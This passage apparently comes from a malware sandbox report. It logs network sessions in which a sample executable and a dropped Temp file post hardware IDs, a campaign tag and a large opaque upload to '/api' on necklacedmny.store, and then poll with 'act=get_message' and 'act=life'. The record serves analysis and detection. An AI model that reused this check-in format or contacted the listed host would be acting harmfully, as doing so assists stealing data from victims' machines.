2024-11-01 02:45:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:45:13 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-11-01 02:45:14 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8e9k9vf75h6357semqar4jtp5u; expires=Mon, 24-Feb-2025 20:31:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SaMuw1cPHLSsWp2a0AdpK2N%2BIgSGWoh4KszTUY%2FaYuQMtQObL2d3ffYTxTqM5StfDBjZ8%2F1O7hAVx2LDiFwrDLXRX3nbSRw2sAtwXUffk5Iy5EwcyQgEvDz4kkJFy8gPzoM%2FBA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c25cd6845e8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1241&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2452159&cwnd=251&unsent_bytes=0&cid=2bfa70ed85d37a61&ts=908&x=0"
2024-11-01 02:45:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:45:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49716	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:15 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: necklacedmny.store
2024-11-01 02:45:15 UTC	1238	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:45:15 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qci3mn0m29sgql616amdlgmi0h; expires=Mon, 24-Feb-2025 20:31:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBbCiuL4xJM5T5Czge3G6wcmTbLceSw2A28Vsau9w1jv2A%2FVou09%2Fy3uLIWF3ttB4bagNxMzKN08zIHL5nO71BDkm%2Fq0pQcy7JCzXbSbbhyvnpxyhys%2B2%2FZQlYVknndVu6AJDoo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c326984485f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1123&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2157&delivery_rate=2326104&cwnd=251&unsent_bytes=0&cid=3e08f8bfdd1a6a73&ts=694&x=0"
2024-11-01 02:45:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:16 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571426 Host: necklacedmny.store
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: 51 9a 26 d1 cd 59 99 11 c6 d8 c8 99 aa 49 be 0d f3 16 15 b2 f2 f8 58 79 a3 d4 14 3d a9 2b 89 e5 93 71 75 c9 c5 8c ca cf d2 45 23 7c 46 0f c3 0f f5 62 63 c5 1f 14 71 8b f1 60 1c d5 3e c5 fb 65 a8 4a 37 48 e0 dc 91 22 5e 85 88 ac 78 fd 1b 26 84 fe fd d1 b0 9f c4 ac 10 9d 81 6a 9f 5c 17 eb 2b 1a 8e 64 88 10 d5 74 a7 0c 00 c6 f6 44 05 ee 34 89 92 31 6f 64 18 13 61 4f 78 9e 6c ad 4a ef 5b 32 87 63 06 61 b6 90 e0 96 04 a6 0f 0d c7 73 6f 45 6a 7c bc 3e 6e 1b a7 3e ae f4 f2 8b 03 f3 99 83 35 cb 9e 2e 1d b7 7d cb ef f1 1c 1c 94 76 e2 c6 8b 5a 3f f0 5d ab d0 dc 58 fa e3 2e b7 23 01 ca 44 45 b2 c2 48 b0 c0 34 25 5f d3 b5 81 d4 81 bd c8 c8 ee f7 93 dc 69 94 36 bf 61 c1 3d 34 16 bd 5d 1f b6 cf d2 10 0b cf e2 4b 28 c9 2b ec 2b c5 90 a4 d2 d7 57 2d 2f 9a a9 15 7c b1 ee Data Ascii: Q&YIXy=+quE#\|Fbcq`>eJ7H"^x&j\+dtD41odaOxlJ[2casoEj\|>n>5.}vZ?]X.#DEH4%_i6a=4]K(++W-/\|
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: 58 ab d6 0a 48 7a fd 28 6b 0f c3 0f 98 6f 1c bb dd cf 7d 02 13 98 f5 6b e6 03 2d 29 05 95 ec e6 89 ce 47 1f c3 2b 44 6f d3 7f f8 8a 46 bd 28 e5 bd ff 11 49 e8 ea 60 bf 70 20 78 f4 76 1a ce 1f c8 5c 5b 78 33 5c dd fb 41 95 d4 70 64 f7 1d 76 67 59 ed 78 62 b5 57 51 d5 fc 7a c8 b0 57 d9 c8 64 38 77 25 b3 aa 6a 61 f3 43 88 df ec d1 32 f2 97 bf 5f 43 8c 77 01 dc 4f 4e 5a 3f cd 02 fe fb 91 59 be d2 a1 af 0e d7 15 70 17 cf b3 06 33 03 77 86 be 88 39 6f 1c 52 90 93 5a da fc 71 7b 8d 3e fa af 9a b0 89 f3 d7 d7 1b 19 a2 63 cb f7 1d aa e7 bf 85 b3 c6 9e 0a d6 74 fc 5e 33 f9 93 c2 b7 1a 4e 47 15 b3 48 7b 6e 24 ed a1 77 f9 ab dc be 3e 2c 6c 65 cc 29 71 a8 ba fb 6e a8 e4 e6 3f 43 ec f5 aa 7a fe 1c 96 72 d8 68 e4 57 0f 03 8b f2 8e c8 07 fb bd 83 82 60 bf c6 c9 67 3b 8c Data Ascii: XHz(ko}k-)G+DoF(I`p xv\[x3\ApdvgYxbWQzWd8w%jaC2_CwONZ?Yp3w9oRZq{>ct^3NGH{n$w>,le)qn?CzrhW`g;
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: c8 cb 7f eb 4f 3c 9c 36 73 8b 7e d3 82 2f 7d fd fe 71 cd 17 c5 e0 04 f3 e3 42 a5 be 2b a4 49 ed d0 9f 58 ec 76 80 0f ff a5 cd 3f e9 ab 5e df f8 92 1b c7 14 b0 2e 44 b2 2a e6 5e 39 26 8b 89 f7 45 6c 92 74 d3 52 aa 2b 65 3c 1b 7a 03 8a 9a a1 7f 99 13 7f b6 c0 52 9f e5 53 18 6d c6 cf 26 1c 06 98 75 7f 46 d3 3d b7 4e 1f 6e e4 9d ff 8a 8a b4 7e be 43 f2 c5 0c 00 9e 9d 8a 33 98 af 9c ac 7b fe 9b cb fa 6f 22 a7 4f fb 96 52 b2 36 ba 69 97 f5 c6 7b 5a 46 5f 48 fa 9e 0b 83 3f af c6 b3 61 88 5b 32 8a f3 58 75 3b a6 03 ef e2 82 27 5f 5d 30 33 58 91 b5 1d b5 a3 3a 38 5a e2 6c 54 40 32 77 d9 d3 74 ed de 17 ea 4f d6 40 9e 29 7d ee 51 f1 ce dd fd 5f 87 ec b7 03 f4 77 0a 4b c0 70 e2 67 24 89 a6 40 33 e2 07 ba fc 50 34 2f 98 28 cf d6 40 77 f3 30 67 11 40 09 49 c1 5f 93 3a Data Ascii: O<6s~/}qB+IXv?^.D*^9&EltR+e<zRSm&uF=Nn~C3{o"OR6i{ZF_H?a[2Xu;'_]03X:8ZlT@2wtO@)}Q_wKpg$@3P4/(@w0g@I_:
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: a1 39 0f 90 6f 10 12 05 af db b5 0d 35 57 fd 26 7c 55 1d 91 b5 0b d5 81 63 83 43 4c ce e2 71 4d 88 76 86 d7 6e 9a ed 96 18 fe 75 29 49 1d d3 a7 21 0e 5c 9e 4a 9d be 0a a6 58 3b 3c f5 0f b4 75 13 5b cc af 50 d5 2f d4 18 54 1b b5 32 56 22 5a ff b7 75 1d c1 75 d7 32 e3 54 78 84 4a d5 e9 4c 0c c8 2a 47 bc f9 7f 42 f5 ff c9 d9 06 70 9a 99 2d 45 04 cc 61 c0 35 f4 d4 88 bd 24 d4 f4 72 bb eb 17 27 60 01 07 e4 18 12 b2 1b 76 2c 11 20 74 3b 5f 15 0a 52 82 d3 85 57 0c 00 19 11 26 0a 0e 74 dd 01 a6 dd f5 c1 18 b6 1a aa e5 94 bf 51 e1 50 cb 1c fe 9f 49 54 2f fa e8 50 ab 78 01 32 e6 95 04 f9 83 19 84 93 cf a8 0b 31 fa 2e 17 f4 7a 36 df 5d 14 47 94 21 a7 69 b1 ad b8 5e 47 e1 e4 41 c3 94 ea 58 a5 1b a2 53 28 01 0b 22 15 b1 79 78 a9 9d 8e 20 b2 2f fa 58 6f ce 7e dc 0c d7 Data Ascii: 9o5W&\|UcCLqMvnu)I!\JX;<u[P/T2V"Zuu2TxJL*GBp-Ea5$r'`v, t;_RW&tQPIT/Px21.z6]G!i^GAXS("yx /Xo~
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: c6 b3 7b 51 c7 1a 3e fa 25 e9 6a ba d7 2f 78 bc c8 b2 52 a6 07 80 0a 2f 69 64 c1 6f 5a 35 01 75 45 b3 91 0a 31 d8 dc 65 ee 1a 1c 7c 42 cb 12 d2 b4 24 41 50 fe 5c ee 7f eb ec fa ed 9a 79 85 cb e0 8e df 33 3e df 91 71 98 3f d2 ff ce 4c 14 00 80 23 0c 34 12 a1 50 c0 5c 9f 9a 7a 30 92 76 1e ce 0f af c3 9e 50 6e 74 de ee 81 b8 ea fd 87 0d c0 1a 36 4f 81 57 7f 8c dc 1c a2 08 80 57 4b 6d 48 ba 02 8b 9e 12 fa ab f4 80 01 76 2a 40 03 09 f1 22 0e 21 4c a8 f4 7b 4c ee 69 42 4c 64 b5 ef 97 56 81 17 fa de 92 37 5b 46 fe be 61 c7 aa ea 38 e4 28 2c 5c ff 5c ef 56 e9 f5 37 10 79 7c e3 f2 1e 19 a0 7d 73 68 e2 1f cc c6 57 88 51 56 7d 0c c7 10 1c d3 c1 08 41 0b 8d 42 bd 92 3f 65 e9 8d 7b 2e 9d c9 c5 fa 16 16 d4 10 f8 e7 e0 f8 c4 32 1d d1 f0 fa 36 d8 2e 1b 95 87 c8 ea 8b 07 Data Ascii: {Q>%j/xR/idoZ5uE1e\|B$AP\y3>q?L#4P\z0vPnt6OWWKmHv*@"!L{LiBLdV7[Fa8(,\\V7y\|}shWQV}AB?e{.26.
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: 8e 21 cb 3b 10 e5 00 74 1f b5 2e 8c f3 13 2b 20 a9 11 74 83 bb 41 91 0f e2 da 0f cc 29 33 42 dd 89 02 83 f8 d4 ba e3 3e 6b fb 5a cc 54 24 37 01 b5 22 f7 a5 6c 37 1b 0e 82 3a b5 98 52 fd 02 de 93 5c bf 3d c5 d8 90 d6 f9 2f 74 41 46 52 31 17 8b 52 b4 e3 41 1c 94 ac af 7d 08 91 d9 05 6c 97 d4 2d 0f 88 61 60 fc d9 70 7b 53 42 a5 d5 73 71 f8 b3 40 1a eb b7 2b eb f7 3f 75 35 cf 22 b8 9b 39 db 93 1c a5 37 ae 35 8a 1c b3 60 96 c2 c2 91 8d 3d d6 6c f3 f8 c5 70 56 5b e2 8e 7a 0c 45 7d 88 41 65 10 c6 1b ff 7e fb e2 d7 0b 1b ba dd 2b 58 f7 99 d7 b8 cb c8 fe 53 ea 46 ab 33 f4 65 d6 3f bb a5 06 a8 aa 0c 1d ec 54 0f 0f a8 59 fe fe d3 f3 e6 a5 10 4b 2b 42 51 dc 66 05 26 6a fe 8d ea e9 fb 27 ee cc 3b f5 79 fa e5 f6 3c 6d 11 08 a0 fb de 54 0a c4 6b 8b cb ae 29 ed 45 e1 a3 Data Ascii: !;t.+ tA)3B>kZT$7"l7:R\=/tAFR1RA}l-a`p{SBsq@+?u5"975`=lpV[zE}Ae~+XSF3e?TYK+BQf&j';y<mTk)E
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: 2a 07 74 95 61 2f de f2 e7 a0 5d 91 2f 56 4d b4 78 73 88 ec b9 7a f7 d1 b9 21 fe 0c a9 ca 47 19 fe a6 f1 b9 3a 6d 65 ee d0 e4 9c 0e 73 f7 f0 b7 d5 a3 fc 9c 21 93 99 63 f5 37 d9 d5 a4 60 c1 77 db 41 ba 84 3a 74 ac 09 80 a3 3a 60 ba 73 67 45 1c 44 72 8e 79 ed c1 ea 79 33 09 d0 32 a2 42 ab b9 7f 9f f6 40 d4 34 fc 3b 77 9f 4a 6a 81 84 eb d6 17 8f 5c 6b 90 f1 32 bd bf 45 a2 45 ac be 99 29 2e 4e 11 59 39 9e 5d d8 57 d9 f0 bc b0 f8 a7 35 82 29 8d ca f8 dc c0 fa 4f 08 1e 8e 86 4f 88 02 3b f6 07 48 f0 a4 a2 4a 0f 20 41 a7 14 68 36 ed b5 db 9c 24 19 09 51 c9 2d 16 80 f9 ea fe 60 d0 d7 ba 4a 98 22 9d 10 80 80 13 39 2f 9e d4 f8 70 af 62 f8 3e d2 4e 63 c8 a0 db 1b 67 41 ba 26 ee 32 06 12 06 32 3c 0d a0 a5 bf fe 10 cb 70 73 3c 00 0f eb 0f 31 bd 24 1e 57 96 49 02 21 a6 Data Ascii: *ta/]/VMxsz!G:mes!c7`wA:t:`sgEDryy32B@4;wJj\k2EE).NY9]W5)OO;HJ Ah6$Q-`J"9/pb>NcgA&22<ps<1$WI!
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: c7 11 91 83 3e ef 0d f3 e0 90 00 de b7 65 9b 85 87 6c 69 94 24 b8 be d9 a3 bc 84 7b c5 8a f6 4a c6 d0 d4 11 90 a7 10 17 da e5 b2 f1 7e ee 65 90 d1 ae 54 1b 74 d8 cb 26 dd 31 ee 60 46 aa 7d 66 e4 7e d9 66 5b bd 27 d5 4f 31 fd 4a 2a 70 00 74 f0 af 7f 74 a3 88 d9 aa c3 cc b3 88 bf af 60 92 e7 19 e9 ec 5c 16 de db 07 fa b5 5a 98 84 ac 43 63 b3 73 81 83 73 54 17 a2 f9 01 7d 52 a8 5e c2 a1 0d 41 51 5e 30 cd 21 a6 24 2a bc fe 42 98 1b 15 a5 18 f3 a5 57 df fe 25 7f 8d d2 70 1b c2 0a 0b c5 9c 70 18 aa 7a f9 04 df c2 ab 53 a6 b8 15 19 c9 77 9c 0f eb 95 a1 aa 32 b3 0e 86 19 f1 5b 5b c0 33 c6 8e 9e b7 13 e3 c3 e1 d5 27 7f e8 46 91 3a 58 a8 58 c6 8b 25 2e 16 14 cb 94 0a af 9f b5 a0 aa a2 af 21 28 cd 2b 02 cf 24 b9 aa 41 42 71 eb de ae 4c d0 0b 02 04 b8 ef b4 05 e5 7e Data Ascii: >eli${J~eTt&1`F}f~f['O1Jptt`\ZCcssT}R^AQ^0!$BW%ppzSw2[[3'F:XX%.!(+$ABqL~
2024-11-01 02:45:16 UTC	15331	OUT	Data Raw: c2 04 61 3b c5 d5 58 af 1f 42 b6 24 db 04 2f f5 1a 14 ac c1 c4 94 62 12 6c 6c 48 b3 ce 18 ea f5 d9 2c 40 a9 15 24 6d c2 90 30 47 0b d4 87 ce 0c 57 37 43 54 1c 22 19 c3 73 7d 37 3f d5 f2 75 61 de 77 90 3f d4 bb 38 e0 e7 19 3e d7 bb 5a b5 f7 b4 56 d0 ec 67 b2 df 2c 86 3e 64 ce 89 c9 3a d5 48 a7 fb bd f2 67 73 ef fa b3 79 06 63 b3 ba 14 96 3a f1 3f b5 81 bd c4 2f e8 71 b6 0f c4 a7 89 51 c6 21 56 b7 0d 79 ca 7c fe 43 61 e9 ef 60 f7 71 f1 8f 13 eb 6f 50 c0 6d 78 70 80 7d 1d c8 93 b2 ab 23 67 1a 67 37 1c e9 43 fd e1 ac 76 16 02 05 c2 fd 97 17 ae 6d 44 b8 df 06 7a a5 40 50 10 b8 0f 7b 4e 22 e0 81 9d 2e f0 c0 1f 30 7f 58 e0 16 1e 57 5d ad 75 2c 9c 93 00 91 e5 32 60 85 c0 ef db 39 2b 08 fa 51 ab 31 4b 29 f3 73 0f 3c 1f fb d9 9b 2d df 73 ae bc 51 5c de 64 c5 8c 74 Data Ascii: a;XB$/bllH,@$m0GW7CT"s}7?uaw?8>ZVg,>d:Hgsyc:?/qQ!Vy\|Ca`qoPmxp}#gg7CvmDz@P{N".0XW]u,2`9+Q1K)s<-sQ\dt
2024-11-01 02:45:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hrv2e4vfr87r9usrhdm7r0275k; expires=Mon, 24-Feb-2025 20:31:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V2jhk5vKu%2F9kYaBrImkslQtyjqy5phzmRK%2ByIDHmDKtefeW%2BVUGz8iJEr6DyqLfooSZh0kivGUpCgFI2gQkR9mB0ojqnTxKzjEXfmfNiLX5B%2FVFCAsJLLJXGkqaObs2cp8QYM68%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c3d6ad4ead1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1316&sent=220&recv=615&lost=0&retrans=0&sent_bytes=2846&recv_bytes=573975&delivery_rate=2222563&cwnd=250&unsent_bytes=0&cid=055fabdae8b82ce8&ts=1749&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49743	188.114.97.3	443	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 02:45:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5560522AED40BC223A70EF3DCABDFD84
2024-11-01 02:45:19 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=inbu3mr5l00pdp7hhihau0nts1; expires=Mon, 24-Feb-2025 20:31:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lSzqpg8uOihmTY4USvHC%2Blo0y%2Bh20wGxGjawNRyBHGHZ9RF8gq16yWBMRXNmdM3xv2FKNkrr9DnifUv7nPdQ4JtVqrEkFqoETRxkWL3ooXfH%2Fo2%2BcCaRxR56ORDX1cyKTbhf0cQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88c4c3d25a916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1983&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1424495&cwnd=141&unsent_bytes=0&cid=6e0eb634aea62373&ts=465&x=0"
2024-11-01 02:45:19 UTC	214	IN	Data Raw: 64 30 0d 0a 56 70 31 46 57 4a 50 71 6a 6e 47 4d 2b 69 37 79 4e 32 69 65 73 30 53 65 34 75 61 49 7a 79 71 41 68 2f 6c 6c 6a 36 43 2b 71 35 4d 4e 35 6d 63 74 73 64 43 73 47 66 69 4f 58 73 68 72 52 38 4b 63 64 61 62 58 79 4c 72 2b 48 36 36 32 79 46 61 68 6b 59 6a 33 76 44 6e 37 49 77 53 38 6a 75 73 58 6f 70 39 57 6c 78 56 45 76 4e 55 77 76 4e 6a 57 70 4f 31 50 6f 72 33 4a 47 4b 50 62 6e 4e 36 78 62 4c 38 74 4c 4f 65 61 74 43 32 6a 70 67 48 44 44 31 32 77 67 58 57 72 7a 4e 65 35 2f 41 53 78 73 61 56 4b 34 73 6e 51 7a 73 39 35 37 79 51 32 39 34 58 6a 58 2b 6d 43 53 39 41 62 53 76 6a 48 5a 71 54 53 79 71 71 71 43 4c 71 33 68 44 67 3d 0d 0a Data Ascii: d0Vp1FWJPqjnGM+i7yN2ies0Se4uaIzyqAh/llj6C+q5MN5mctsdCsGfiOXshrR8KcdabXyLr+H662yFahkYj3vDn7IwS8jusXop9WlxVEvNUwvNjWpO1Por3JGKPbnN6xbL8tLOeatC2jpgHDD12wgXWrzNe5/ASxsaVK4snQzs957yQ294XjX+mCS9AbSvjHZqTSyqqqCLq3hDg=
2024-11-01 02:45:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	58526	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 02:46:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
